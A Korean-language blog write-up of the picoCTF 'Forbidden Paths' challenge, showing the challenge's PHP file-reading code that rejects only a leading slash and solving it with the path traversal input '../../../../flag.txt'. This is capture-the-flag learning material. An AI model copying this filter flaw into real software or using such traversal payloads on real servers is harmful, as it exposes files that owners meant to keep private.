본문 바로가기
pico CTF

[pico CTF] Forbidden Paths

by skyepodium 2022. 6. 4.

1. 개요

file traversal 문제

https://play.picoctf.org/practice?category=1&page=1&search=Forbidden%20Paths 

 

2. 분석

 

read.php를 입력하면 현재 코드를 읽을 수 있습니다.

$firstChar = $_POST['filename'][0];

if( strcmp($firstChar, '/') == 0 )
{
echo "Not Authorized";
}
else
{
if (file_exists($_POST['filename'])) {

$file = fopen($_POST['filename'], 'r');

while(! feof($file))
{
$line = fgets($file);
echo $line. "
";
}

fclose($file);
} else {
echo "File does not exist";
}
}
?>

코드를 보니

 

flag.txt를 넣었을 때 File does not exist

 

이 나타났던 이유는 현재 디렉토리에 flag.txt 파일이 없었기 때문입니다.

 

경로를 상승하면서, 올라가봅니다.

 

3. exploit

../../../../flag.txt

 

 

'pico CTF' 카테고리의 다른 글

[pico CTF] Matryoshka doll  (0) 2022.06.04
[pico CTF] information  (0) 2022.06.04
[pico CTF] Client-side-again  (0) 2022.06.04
[pico CTF] Search source  (0) 2022.06.04
[pico CTF] login  (0) 2022.06.04